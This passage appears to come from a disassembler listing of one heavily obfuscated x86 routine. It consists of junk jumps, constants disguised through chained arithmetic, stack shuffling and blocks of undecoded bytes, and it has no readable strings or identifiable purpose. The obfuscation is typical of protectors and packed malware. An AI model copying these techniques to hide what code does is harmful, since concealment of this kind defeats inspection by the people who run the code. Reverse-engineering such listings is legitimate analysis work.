CODE XREF: sub_542C3C+7D1Aj push ecx mov ch, 44h inc ch xor ch, 1Ah push ebx mov bh, 3 and ch, bh pop ebx jmp loc_548282 ; --------------------------------------------------------------------------- loc_54F9AA: ; CODE XREF: sub_542C3C+80F6j add esp, 4 push 18E6h jmp loc_54D60B ; --------------------------------------------------------------------------- dw 489h dd 0A74AE924h, 0BF57FFFFh, 5FC95F9Fh, 204EF781h, 0C28179D8h dd 2E455044h, 0EA81FA01h, 2E455044h, 0C283585Fh, 24148704h dd 0F724248Bh, 48868F9h, 14890000h, 0E99C5024h, 0FFFF77A5h dd 0E9242489h, 0FFFFCE2Ah, 4EC81h, 4890000h, 0B1ABB024h dd 58C130BBh, 5966CB00h, 0FFC0B60Fh, 57528734h, 2B11B951h dd 68551259h, 48B5h, 0FFA34EE9h, 0C8B66FFh, 59545124h dd 12CCBB53h, 0DBF70E14h, 12D0C381h, 67E90E14h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA47: ; CODE XREF: sub_542C3C+BF46j mov eax, [esp+3Ch+var_3C] push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 jmp loc_54E00D ; --------------------------------------------------------------------------- db 51h, 0B9h, 14h dd 8158564Bh, 277BFCC9h, 5E9C160h, 0F706E1C1h, 0FFC181D9h dd 81FFFFFFh, 0EEF8BFC1h, 1C4F21F0h, 0E92434FFh, 0FFFFD411h dd 0E9E08950h, 178h, 4C481h, 34870000h, 24248B24h, 6824148Bh dd 2338h, 54241489h, 5557505Ah, 531AD468h, 7AE95D38h, 5B000030h dd 10E95755h, 53000026h, 0EC81E389h, 4, 0E9240C89h, 0FFFFC44Bh dd 0BE243489h, 25E279F0h, 0C1D6F746h, 0BA5207EEh, 234B1AFAh dd 0F7E9DAF7h, 5900001Ch, 5C24048Fh, 9C240429h, 0FF717DE9h dd 8DC281FFh, 5D3D5019h, 0FF9BC3E9h, 0D4C781FFh, 89FA8318h dd 564A5FFAh, 0FF8577E9h, 74FF56FFh, 8F5E0424h, 0FF5C2404h dd 48B2434h, 4C48324h, 56595451h, 57C768h, 241C8900h, 0E66FE0BBh dd 53BA520Fh, 42624440h, 0D070F281h, 0D301925Dh, 2C25E9h db 0 ; --------------------------------------------------------------------------- loc_54FB51: ; CODE XREF: sub_542C3C+B93Bj xor [esp+34h+var_34], eax mov eax, [esp+34h+var_34] push edi mov edi, esp push edx mov edx, 4 jmp loc_549872 ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 0E9000000h, 0FFFFD817h, 801CC380h, 835A3DEBh, 1C8904ECh dd 3FCEBB24h, 91E90624h, 0F7FFFFEBh, 81DBF7DBh, 8210FEE3h dd 3DE3817Eh, 56372545h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 0C8BA2414h, 0E914A8A6h, 3067h, 0F668515Ch, 89000079h dd 4832424h, 0E9590424h, 0F07h, 0D356F781h, 0C381006Dh dd 301105ADh, 0EB81FB01h, 301105ADh, 8DCCE95Fh, 0F168FFFFh dd 0E94E5D58h, 0FFFFA8EDh ; --------------------------------------------------------------------------- loc_54FBEC: ; CODE XREF: sub_542C3C+9233j pop ebp sub esi, 6A26635Bh push 6B42h mov [esp+10h+var_10], ebx mov ebx, 21A6349Dh jmp loc_54F50C ; --------------------------------------------------------------------------- db 89h, 0F8h, 0E9h dd 0FFFFB5C7h, 405h, 4C08300h, 0FF8F81E9h, 246C8AFFh, 0C28FE903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC22: ; CODE XREF: sub_542C3C+F17Ej push [esp+10h+var_10] pop ecx push 663Ah jmp loc_54A8AF ; --------------------------------------------------------------------------- loc_54FC30: ; CODE XREF: sub_542C3C+E398j mov ecx, esi mov esi, [esp+14h+var_14] add esp, 4 push ebp jmp loc_54F36C ; --------------------------------------------------------------------------- dw 815Dh dd 5304246Ch, 0E9475257h, 0FFFFDC61h, 0F581D5F7h, 0B530B532h dd 0FF934FE9h, 0CFE51FFh, 0B691E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC62: ; CODE XREF: sub_542C3C+8176j push edi mov edi, 0B5067Dh sub esi, edi pop edi sub esi, eax jmp loc_54E163 ; --------------------------------------------------------------------------- dw 0CE81h dd 134332A9h, 0DEF7DEF7h, 0DD63BD55h, 0EE01F03Bh, 2E78E9h dd 92EB8100h, 68DA1C3Fh, 0E69h, 0E9240C89h, 0FFFFBB0Bh dd 0FF6FD9E9h, 0C8B66FFh, 9FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FCAA: ; CODE XREF: sub_542C3C+B759j push 0FCCh mov [esp+38h+var_38], eax mov ah, 54h jmp loc_5507EB ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFF8564h, 8904EC83h, 0B9512424h, 4, 4244C01h dd 0B8685959h, 89000079h, 4BD242Ch, 1000000h, 242C8BE9h dd 4C481h, 0C1830000h, 10CBE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FCF6: ; CODE XREF: sub_542C3C+E94Cj mov [esp+38h+var_38], edi push 1FFFh jmp loc_55001D ; --------------------------------------------------------------------------- loc_54FD03: ; CODE XREF: sub_542C3C+6F8Bj mov [esp+30h+var_30], esi push 21D44206h pop esi jmp loc_552296 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0AFh dd 83FFFFAFh, 48904ECh, 0E9E08924h, 0FFFF8570h ; --------------------------------------------------------------------------- loc_54FD24: ; CODE XREF: sub_542C3C+5164j push ecx push [esp+2Ch+var_28] jmp loc_54D186 ; --------------------------------------------------------------------------- loc_54FD2E: ; CODE XREF: sub_542C3C+E89Ej sub esp, 4 mov [esp+34h+var_34], edx push 0B91h mov [esp+38h+var_38], eax jmp loc_548679 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E3895324h, 4C381h, 0C3810000h, 2, 5C241C87h, 0E982B551h dd 0FFFFEE53h ; --------------------------------------------------------------------------- loc_54FD60: ; CODE XREF: sub_542C3C+AB6Bj add esp, 4 push 544Eh mov [esp+30h+var_30], ebp add [esp+30h+var_30], 6D7C5CCCh mov edx, [esp+30h+var_30] add esp, 4 push ebp mov ebp, 6D7C5CCCh sub edx, ebp pop ebp pop ebp and ecx, edx pop edx shr ecx, 0 or eax, eax jz loc_5492BD sub esp, 4 mov [esp+28h+var_28], ecx push ebx jmp loc_550E91 ; --------------------------------------------------------------------------- dw 0E480h dd 0DFCC8032h, 80C3EC80h, 885327ECh, 8BDD88E3h, 0FFE9241Ch db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FDBB: ; CODE XREF: sub_542C3C+A967j xchg ebx, [esp+34h+var_34] pop esp mul ecx push 7E58h mov [esp+34h+var_34], edx push eax pushf jmp loc_546C7A ; --------------------------------------------------------------------------- loc_54FDD0: ; CODE XREF: sub_542C3C+8CF0j mov ebp, 2B2B3C37h jmp loc_549040 ; --------------------------------------------------------------------------- dw 2C87h dd 1142E924h, 1CF70000h, 8FE99C24h, 66FFFF6Eh, 68240C8Bh dd 70D7h, 0E9241489h, 0FFFFC23Dh, 0E27E19BEh, 2474012Ah dd 78C9E904h, 0EC81FFFFh, 4, 0E9241489h, 0FFFFCD95h, 8102EAC1h dd 0A20BD4EAh, 608E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FE26: ; CODE XREF: sub_542C3C+42C8j or eax, eax jz loc_5501FB push dword ptr [edi+1Ch] push [esp+3Ch+var_3C] push [esp+40h+var_40] pop ecx add esp, 4 push 2DFh mov [esp+40h+var_40], eax mov eax, esp push ebx mov ebx, 3B1356EDh xor ebx, 49C83F92h add ebx, 8D249685h add eax, ebx mov ebx, [esp+44h+var_44] add esp, 4 push esi mov esi, 4 sub eax, 45A15DD7h add eax, esi add eax, 45A15DD7h pop esi jmp loc_5489E3 ; --------------------------------------------------------------------------- db 0F7h dd 95CD81DDh, 812D4116h, 0EBBC6CF5h, 0E9E929CDh, 0FFFFF19Dh dd 5357585Bh, 0F7815B5Fh, 6A850A00h, 24F0B850h, 5402C88h dd 273127FCh, 0FFD993E9h, 0BFE981FFh, 1019230h, 0B95159CFh dd 4, 8759CF29h, 0E2E9243Ch, 8BFFFFF2h, 0D3662424h, 0E99C2424h dd 0FFFF6DAAh, 0E9D8015Eh, 0FFFFD37Ah, 50F1F766h, 405E089h dd 2D000000h, 4, 5C240487h, 0E9240489h, 0FFFF7404h, 32EC6866h dd 24148966h, 0E99C5066h, 0FFFF6D76h, 515AD301h, 237397B9h dd 0E9D1F735h, 0FFFF7375h, 0FF2FE981h, 5053E868h, 3238BAB8h dd 58C38960h, 0F7FFC383h, 0E71CE9D3h, 489FFFFh, 0FE22B424h dd 0D7F480CCh, 0C480D4F6h, 45EC80FFh, 2858E328h, 4EC83C3h dd 0E9241489h, 2093h, 0E924348Bh, 0FFFFEA45h, 582434FFh dd 0FFE1B6E9h, 5FFD89FFh, 6AD0E581h, 0BF571F80h, 5277040Ch dd 815FFD09h, 0D422A6F5h, 1ED8175h, 81000000h, 1E3DD6F5h dd 2ECCE924h, 0B2520000h, 9FF280E4h, 0FFCF20E9h, 24048BFFh dd 0FFE10BE9h, 1CEB80FFh, 880E9h db 0 ; --------------------------------------------------------------------------- loc_54FFA5: ; CODE XREF: sub_542C3C+EAB0j mov esp, [esp+40h+var_40] mov [esp+40h+var_40], ebx jmp loc_54DBEA ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 37D4BA24h, 0F28115ECh, 7B093742h dd 0DBE9D031h, 68FFFFDFh, 65B7h, 0BE243489h, 4, 348BF129h dd 4C48324h, 0FFE08CE9h, 55854FFh, 4, 205h, 24048700h dd 48B665Ch, 8C93E924h, 0E829FFFFh, 0AF654A2Dh, 3D420516h dd 55D2D37h, 224F1DA1h, 0EC81D829h, 4, 2E09E9h db 0 ; --------------------------------------------------------------------------- loc_55001D: ; CODE XREF: sub_542C3C+D0C2j mov [esp+3Ch+var_3C], eax jmp loc_547CB0 ; --------------------------------------------------------------------------- loc_550025: ; CODE XREF: sub_542C3C+57AAj xchg edx, edi jmp loc_54DF57 ; --------------------------------------------------------------------------- dd 0B8505D54h, 4, 5258C501h, 0BF57E289h, 4, 815FFA01h dd 4EAh, 24148700h, 8924248Bh, 68552434h, 7DCC4528h, 0FFD7C4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55005D: ; CODE XREF: sub_542C3C+DFDEj mov [esp+20h+var_20], edx push edi push edx push edi push 60702BE0h jmp loc_54ACA6 ; --------------------------------------------------------------------------- loc_55006D: ; CODE XREF: sub_542C3C+EA14j mov esp, [esp+30h+var_30] jmp loc_550B9F ; --------------------------------------------------------------------------- db 58h, 0E9h, 56h dd 0BFFFFFCDh, 60BB3FC3h, 0C781DFF7h, 76AE2302h, 0FFC901E9h dd 0F68146FFh, 92AF9028h, 8AE9F389h, 0FFFFFF8Ch, 669D1C77h dd 4196658h, 0CFE99C24h, 52FFFF6Bh, 973696BAh, 590E90Fh dd 0C3810000h, 4, 4EB81h, 1C870000h, 14895C24h, 81E28924h dd 4C2h, 2BF5700h, 50000000h, 0C54E80B8h, 58C20117h, 0BE56FA01h dd 74626E83h, 0EEC1DEF7h, 0F0CE8107h, 81125169h, 923572F6h dd 5EF22904h, 2414875Fh, 2824248Bh, 0E99C2404h, 0FFFF6B6Eh dd 66CE3166h, 3166F131h, 664966CEh, 0D166CE87h, 665766E6h dd 0E96D0968h, 1B15h, 240C8B66h, 5E08950h, 4, 93685057h dd 0E963F666h, 0FFFF79ABh, 0FF240489h, 58042474h, 8B24048Fh dd 2C892424h, 0D0E2E924h, 8058FFFFh, 0F000F4F6h, 0E924148Bh dd 0FFFFE291h, 3671E581h, 0C5816C85h, 762100BAh, 1DDBED81h dd 0F58124E5h, 5A9BE13Ch, 63E9EA01h, 66000004h, 53240C8Bh dd 0C18BE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55018E: ; CODE XREF: sub_542C3C+713Aj add ebx, edx pop edx and esi, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 and esi, 724C377Ch push edx mov edx, 7FA00h jmp loc_5522EC ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 1000000h, 8B042474h, 0C4832434h, 0C1815904h, 4, 2C181h dd 0FF510000h, 8B042474h, 8950240Ch, 405E0h, 0C0830000h dd 24048704h, 24048F5Ch, 5324248Bh, 0C381E389h, 4, 4EB81h dd 0DFE90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5501FB: ; CODE XREF: sub_542C3C+85C4j ; sub_542C3C+D1ECj push 7EB1h mov [esp+34h+var_34], ebx push [esp+34h+var_34] mov eax, [esp+38h+var_38] push edi push esp jmp loc_551259 ; --------------------------------------------------------------------------- dd 0F6F8B551h, 0C2F580DDh, 0FFF2D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55021D: ; CODE XREF: sub_542C3C+50A8j push eax mov eax, 6E601A22h jmp loc_5523EA ; --------------------------------------------------------------------------- dd 0BB241C89h, 70EF57D6h, 8104E3C1h, 795F5DEBh, 4A39683Fh dd 4890000h, 5C446824h, 53582610h, 0EBC376BBh, 5BD83150h dd 48BC301h, 2F3E924h, 5A660000h, 66B8B450h, 66437F68h dd 0B6241489h, 66F408D5h, 0B3B5515Ah, 0FEDFC580h, 6AC580CDh dd 0E959EC30h, 7A5h, 815F5457h, 4C7h, 14476800h, 34890000h dd 2BE24h, 0EF810000h, 48D53DA3h, 0BD55F729h, 16597BBAh dd 3815CD81h, 0BB532671h, 36283569h, 5E76E381h, 0E3D169F3h dd 5E3C143h, 1124C381h, 1E9096Bh, 66FFFFF4h, 50240C8Bh dd 405E089h, 0E9000000h, 0FFFF6A35h ; --------------------------------------------------------------------------- loc_5502D8: ; CODE XREF: sub_542C3C+F6ABj push [esp+2Ch+var_2C] jmp loc_54C7A6 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54CC19 ; --------------------------------------------------------------------------- loc_5502EB: ; CODE XREF: sub_542C3C+BECCj add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp+2Ch+var_2C] pop esp jmp loc_546C7A ; --------------------------------------------------------------------------- db 29h dd 6F055FF8h, 0E952F348h, 0FFFFC6D4h, 5202C283h, 0FF7583E9h dd 5AD129FFh, 0FF7B76E9h, 4C681FFh, 56000000h, 2EEFE9h dd 4C48300h, 8B240C87h, 3CD32424h, 3BE99C24h, 66FFFF69h dd 0E958C189h, 11B3h, 0C281E289h, 4, 1BA7E9h, 81E38900h dd 4C3h, 12F3E900h, 2B80000h, 9330D919h, 0E993D3F7h, 0FFFFEF67h ; --------------------------------------------------------------------------- loc_550370: ; CODE XREF: sub_542C3C+7A44j mov [esp+28h+var_28], esi mov esi, esp push edx jmp loc_54E70E ; --------------------------------------------------------------------------- db 87h dd 0E95C2414h, 0FFFFD8D8h, 24048B66h, 9D868h, 24048900h dd 0FFC1EFE9h, 0C895CFFh, 247DE924h, 0DAF70000h, 2EA3F281h dd 65E9B046h, 57FFFF8Ah, 0C781E789h, 4, 4EF81h, 3C330000h dd 243C3124h, 0FF836FE9h, 4C481FFh, 56000000h, 535FBF57h dd 0EF814646h, 349A0A04h, 2344E781h, 81E942FAh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5503E3: ; CODE XREF: sub_542C3C+ACB1j mov esi, esp add esi, 4 push edi mov edi, 284D12D3h jmp loc_551412 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFF7250h, 41E953ACh, 8BFFFF88h, 0BE92424h, 2C000024h dd 0E088E961h, 8B66FFFFh, 20E9241Ch, 81FFFF99h, 180BCCC2h dd 6FC28123h, 2965C86Bh, 7205E9DAh, 8742FFFFh, 0FFEF83FAh dd 0EA81FA87h, 0FEDC1427h, 148BD501h, 0B1A9E924h, 0F181FFFFh dd 78231A1Ah, 27C6C181h, 0C1493813h, 8AE908E9h, 66FFFFB2h dd 3166F531h, 0F53166EEh, 0FFD67AE9h db 0FFh ; --------------------------------------------------------------------------- loc_550469: ; CODE XREF: sub_542C3C+86D2j mov esi, [esp+30h+var_30] jmp loc_547971 ; --------------------------------------------------------------------------- loc_550471: ; CODE XREF: sub_542C3C+B872j push eax push 25A34834h pop eax xor eax, 25A36834h push eax xor [esp+3Ch+var_3C], 13D811E0h pop edx xor edx, 13D811E0h jmp loc_54A436 ; --------------------------------------------------------------------------- align 2 dw 59C8h dd 0FF6D6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_550499: ; CODE XREF: sub_542C3C+6ED8j pop ebx pop esi sub esp, 4 mov [esp+28h+var_28], ecx mov ecx, 1ECB092Fh not ecx shl ecx, 5 shr ecx, 8 inc ecx jmp loc_54F62A ; --------------------------------------------------------------------------- dd 0E9C9095Ah, 0FFFFA791h, 8087B151h, 0CE08C4E9h, 0FF9AB5E9h dd 8B665CFFh, 48E92404h, 83FFFFD1h, 348704C6h, 0C3815C24h dd 4, 2C381h, 1C870000h, 16CDE924h, 4010000h, 4EC8124h dd 89000000h, 61BD242Ch, 0E95E2331h, 0FFFFBF8Ch, 815DE901h dd 4ECh, 24048900h, 4B8h, 58C12900h, 5C240C87h, 53241489h dd 0E16A0068h, 0CB815B33h, 1FBD7B40h, 81D3F74Bh, 50875BC3h dd 6F83E988h, 72B9FFFFh, 8157E975h, 270C9FF1h, 59C88919h dd 0FFEF10E9h, 5B5453FFh, 0BFAB951h, 0C18141FFh, 557F5AD1h dd 8E9C149h, 819EC181h, 0CB01FF68h, 4C38159h, 87000000h dd 0B4E9241Ch, 81FFFFC5h, 4ECh, 240C8900h, 4B9h, 0DE9DE900h dd 0E981FFFFh, 31D340F1h, 81242C8Bh, 4C4h, 2C18100h, 87000000h dd 4CE9240Ch, 5A000008h, 4C281h, 22680000h, 0E9000061h dd 0FFFFCB01h, 5C241487h, 24DEE954h, 89520000h, 4BB53E2h dd 1000000h, 0C2815BDAh, 4, 5C241487h, 69D868h, 24048900h dd 0A694E955h, 315DFFFFh, 0FF042454h, 0E95A2434h, 0FFFFE48Fh dd 4C1815Ch, 81000000h, 4ECh, 240C8900h, 42474FFh, 0FFF4E2E9h dd 0B30F66FFh, 0E99C2404h, 0FFFF6662h, 8007E2C0h, 0E95143F2h dd 0FFFFD2F3h ; --------------------------------------------------------------------------- loc_550624: ; CODE XREF: sub_542C3C+E121j pop eax jmp loc_551539 ; --------------------------------------------------------------------------- dw 0C02Dh dd 29A7A2BEh, 0CB0158C1h, 4C38359h, 5C241C87h, 732668h dd 0BE42E900h, 0C281FFFFh, 0FFFFFFFFh, 92EA8142h, 0E90F9736h dd 0A03h, 0D14EE951h, 48FFFFFh, 3CA96824h, 4FE90000h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55066B: ; CODE XREF: sub_542C3C+A76Fj xchg eax, [esp+38h+var_38] mov esp, [esp+38h+var_38] shr eax, 0Eh xor eax, ecx push 3BF1h mov [esp+3Ch+var_3C], eax xchg eax, [esp+3Ch+var_3C] push eax not [esp+40h+var_40] push [esp+40h+var_40] jmp loc_54ECE4 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 0E6h dd 81FFFFA0h, 0E34C0DEEh, 2BE56DCh, 0E95E7F28h, 0FFFF6F7Fh dd 5E6368h, 24148900h, 0C281E289h, 4, 753CE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5506BA: ; CODE XREF: sub_542C3C+C320j neg ebp jmp loc_54EF68 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aRhD db '$Rh',7,'d',0 dw 0E900h dd 0FFFF7D1Bh, 83D831ADh, 33E904ECh, 0FFFFFF67h, 669D1C77h dd 24041858h, 6590E99Ch, 4E59FFFFh, 0CE81D6F7h, 4D0703DDh dd 0DBF9EE81h, 0C9E9DFB7h, 5CFFFFA9h, 582434FFh, 0FFE2DFE9h dd 815954FFh, 4C1h, 0EDB85000h, 0E93EE65Ah, 0FFFFD23Dh dd 0F610B353h, 77B652DBh, 148BF330h, 4C48124h, 80000000h dd 0C3FE38E3h, 0FF8E12E9h db 0FFh ; --------------------------------------------------------------------------- loc_550739: ; CODE XREF: sub_542C3C+F722j add ebp, ebx mov ebx, [esp+38h+var_38] jmp loc_54F544 ; --------------------------------------------------------------------------- db 0BEh dd 561419B5h, 4247429h, 0FF8832E9h db 0FFh ; --------------------------------------------------------------------------- loc_550751: ; CODE XREF: sub_542C3C+911Fj pop ebp jmp loc_54F6B4 ; --------------------------------------------------------------------------- db 5Bh dd 4C381h, 0C3810000h, 2, 2F0368h, 241C8900h, 42474FFh dd 8B2434FFh, 0C481241Ch, 4, 8F04C483h, 53E92404h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550787: ; CODE XREF: sub_542C3C+B9E2j mov eax, 6D2028ECh jmp loc_5512E7 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 8 dd 5202E9C1h, 41B9A8BAh, 0E9D129F1h, 0FFFF9A53h, 5AD53058h dd 0E828A004h, 94E9A02Ch, 81FFFFB7h, 4C3h, 0A889E900h dd 5451FFFFh, 0FF778DE9h, 4C483FFh, 9FFAD205h, 58C789F7h dd 0CCE9F801h, 1FFFFC6h, 867E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5507DE: ; CODE XREF: sub_542C3C+460Fj add ecx, 0E086EDD5h xor eax, ecx jmp loc_550FD9 ; --------------------------------------------------------------------------- loc_5507EB: ; CODE XREF: sub_542C3C+D078j xor ah, 1Dh mov bh, ah mov eax, [esp+38h+var_38] add esp, 4 push small 0 sub byte ptr [esp+36h+var_38+2], bh jmp loc_54F5D4 ; --------------------------------------------------------------------------- db 53h, 0BBh, 97h dd 810ED81Eh, 5C6162CBh, 0B2EDE949h, 0FF57FFFFh, 5F042474h dd 5C24048Fh, 177E9h, 0E9F32800h, 0FFFFF344h, 8B243487h dd 0BF0F2424h, 0E08950C8h, 405h, 9E5EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550842: ; CODE XREF: sub_542C3C+5AEBj or eax, eax jmp loc_54A60B ; --------------------------------------------------------------------------- db 0F7h, 1Ch, 24h dd 0F1814959h, 0C12CD121h, 5916ED81h, 0CD016492h, 5916C581h dd 29596492h, 8BED81C5h, 8B595529h, 0C4812404h, 4, 8B242C87h dd 89662424h, 1EE9240Ch, 68FFFF6Bh, 1F800088h, 7DA86859h dd 4890000h, 65B2B824h, 4FE92D02h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55089B: ; CODE XREF: sub_542C3C+7767j add esp, 4 push edx jmp loc_54F3CF ; --------------------------------------------------------------------------- db 81h dd 2A6017F5h, 92ED812Ah, 813D551Fh, 71093FEDh, 3CED8114h dd 0E91E8280h, 1166h, 0AD255105h, 2DF82929h, 29AD2551h dd 0FFCAC2E9h, 243C89FFh, 916866h, 0F7665F66h, 0EF8166DFh dd 4DE92076h, 1FFFFD9h, 0BCEF81DFh, 0E974D655h, 0FFFF63F5h dd 2C18ED80h, 53E80019h, 0D80019B3h, 0B7F8E95Bh, 0D0F7FFFFh dd 0C31D2A05h, 19E2253Ch, 0E8C15F00h, 3E00508h, 0C5894B9Ch dd 13C58158h, 29B41DFCh, 14875DEAh, 65E95C24h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550933: ; CODE XREF: sub_542C3C+F7DEj mov ebx, 6B755BF5h or ebx, 69DB5E01h xor ebx, 75B7037Fh jmp loc_54880E ; --------------------------------------------------------------------------- db 5Fh, 83h, 0ECh dd 9126E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550952: ; CODE XREF: sub_542C3C+4F72j mov edx, [esp+34h+var_34] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp+38h+var_38] xor [esp+38h+var_38], esi xor esi, [esp+38h+var_38] pop esp loc_55096B: ; CODE XREF: sub_542C3C+7505j push 2768h mov [esp+38h+var_38], ebx jmp loc_54F0A5 ; --------------------------------------------------------------------------- dd 4C181h, 0A7E90000h, 8100001Ch, 5C08246Ch, 11EEC23h dd 81082474h, 5C082444h, 0E91EEC23h, 0FFFFA9DAh, 0E9243C89h dd 0FFFFFB10h, 2BAh, 6DE98100h, 0E94CD912h, 0FFFF8EA4h dd 42E9CA01h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5509BB: ; CODE XREF: sub_542C3C+8A61j xor ebp, [esp+38h+var_38] jmp loc_548BF0 ; --------------------------------------------------------------------------- db 59h dd 0FFD19AE9h, 0E95958FFh, 0FFFF62AAh, 0CE016659h, 0C7C68166h dd 6659664Dh, 0BDE9F031h, 0BBFFFFECh, 1D673D40h, 0C106E3C1h dd 0BF5703EBh, 534D6F42h, 295FFB01h, 0EE815BDEh, 62744AB5h dd 1F64E9h db 0 ; --------------------------------------------------------------------------- loc_550A05: ; CODE XREF: sub_542C3C+93E7j sub ebp, 0B27723h jmp loc_54EC11 ; --------------------------------------------------------------------------- dd 63E932FFh, 81FFFF62h, 4ECh, 240C8900h, 380E9h, 8BE32800h dd 0C4832404h, 0E9516604h, 1715h, 5C241487h, 0FF73C2E9h dd 24048BFFh, 0FFDFAEE9h, 240C8BFFh, 4C481h, 34330000h dd 24343124h, 8B243433h, 0D5E92424h, 1FFFF8Dh, 0E95D5BD8h dd 1321h, 4C181h, 0E9830000h, 240C8704h, 48F545Ch, 24048324h dd 24048B04h, 4C481h, 4050000h, 0E9000000h, 0FFFF7E88h dd 4C481h, 0BF570000h, 72CC7F82h, 3BB6E781h, 0EF8127E8h dd 0FFFFFFFFh, 6DFDEF81h, 0E7813846h, 16BD6C8Dh, 1F55C781h dd 0F78151F3h, 54746BDDh, 0FFDF74E9h db 0FFh ; --------------------------------------------------------------------------- loc_550AC5: ; CODE XREF: sub_542C3C+B548j mov edi, 47952088h jmp loc_552101 ; --------------------------------------------------------------------------- db 57h dd 2611D7BFh, 7FEF8158h, 551F3B5Fh, 9A0F3EBDh, 8EDC101h dd 0ED81D5F7h, 148A14EAh, 2CAEE581h, 0F58172A4h, 5ACF04F0h dd 0F0EBA52h, 0C28108DEh, 37E31D35h, 0E95AD531h, 48h ; --------------------------------------------------------------------------- loc_550B0C: ; CODE XREF: sub_542C3C+E32Dj pop edi push ebp push [esp+20h+var_1C] push [esp+24h+var_24] pop ebp add esp, 4 pop [esp+20h+var_20] jmp loc_54C716 ; --------------------------------------------------------------------------- loc_550B24: ; CODE XREF: sub_542C3C+F287j pop ebx sub esp, 4 mov [esp+1Ch+var_1C], ebx jmp loc_54A64D ; --------------------------------------------------------------------------- db 56h dd 1510E9h, 1C77FF00h, 0D359669Dh, 0E99C2414h, 24CFh, 4B9h dd 0E9CF0100h, 0B58h, 815DEF01h, 14DB09EFh, 5FF901B1h dd 0FFF466E9h db 0FFh ; --------------------------------------------------------------------------- loc_550B65: ; CODE XREF: sub_542C3C+FF1Ej mov [esp+1Ch+var_1C], ecx mov ecx, 128652E2h jmp loc_54BC81 ; --------------------------------------------------------------------------- loc_550B72: ; CODE XREF: sub_542C3C+F60Bj push ecx mov ecx, 4 add ebp, ecx pop ecx xor ebp, [esp+1Ch+var_1C] xor [esp+1Ch+var_1C], ebp xor ebp, [esp+1Ch+var_1C] pop esp jmp loc_550ECF ; --------------------------------------------------------------------------- loc_550B8A: ; CODE XREF: sub_542C3C+5611j mov al, dl pop edx xor al, 0Eh shl al, 3 sub al, 88h add al, 0FCh and al, 3Fh sub al, 8Fh jmp loc_5518A1 ; --------------------------------------------------------------------------- loc_550B9F: ; CODE XREF: sub_542C3C+D434j sub esp, 4 mov [esp+34h+var_34], ecx jmp loc_549C68 ; --------------------------------------------------------------------------- loc_550BAA: ; CODE XREF: sub_542C3C+9605j sub ecx, 0DDA6D405h or edx, ecx mov ecx, [esp+44h+var_44] add esp, 4 jmp loc_54CC03 ; --------------------------------------------------------------------------- loc_550BBD: ; CODE XREF: sub_542C3C+B656j mov dl, ch pop ecx mov [edi+eax*4], dl mov edx, [esp+38h+var_38] push ebx mov ebx, esp jmp loc_552A7D ; --------------------------------------------------------------------------- dw 2C89h dd 2C8B5424h, 4C48124h, 52000000h, 0D73C68BAh, 3C28177h dd 810A0A60h, 657CD1EAh, 62CA813Bh, 8146246Dh, 8C6232E2h dd 68E5E923h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BFE: ; CODE XREF: sub_542C3C+10054j push [esp+3Ch+var_38] mov eax, [esp+40h+var_40] add esp, 4 pop [esp+3Ch+var_3C] push [esp+38h+var_38] mov eax, [esp+3Ch+var_3C] add esp, 4 add esp, 4 sub esp, 4 jmp loc_55005D ; --------------------------------------------------------------------------- db 31h dd 0C8295BD9h, 81C33159h, 5004F7C2h, 770BE948h, 1C89FFFFh dd 106E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550C3A: ; CODE XREF: sub_542C3C+A287j shl ecx, 1 shr ecx, 6 push edx mov edx, 5F485D21h inc edx jmp loc_54E4F3 ; --------------------------------------------------------------------------- loc_550C4B: ; CODE XREF: sub_542C3C+436Dj push 24B8h jmp loc_549685 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0E2895224h, 0FFA561E9h, 67D05FFh, 553524CEh, 0E9716F4Eh dd 0FFFFB9D5h, 52E68956h, 0CD5059BAh, 0ABB9514Fh, 0E9B032AFh dd 0FFFF95ACh ; --------------------------------------------------------------------------- loc_550C84: ; CODE XREF: sub_542C3C+FABCj add [esp+40h+var_40], 24B54BE0h mov eax, [esp+40h+var_40] add esp, 4 sub eax, 24B54BE0h jmp loc_548E67 ; --------------------------------------------------------------------------- 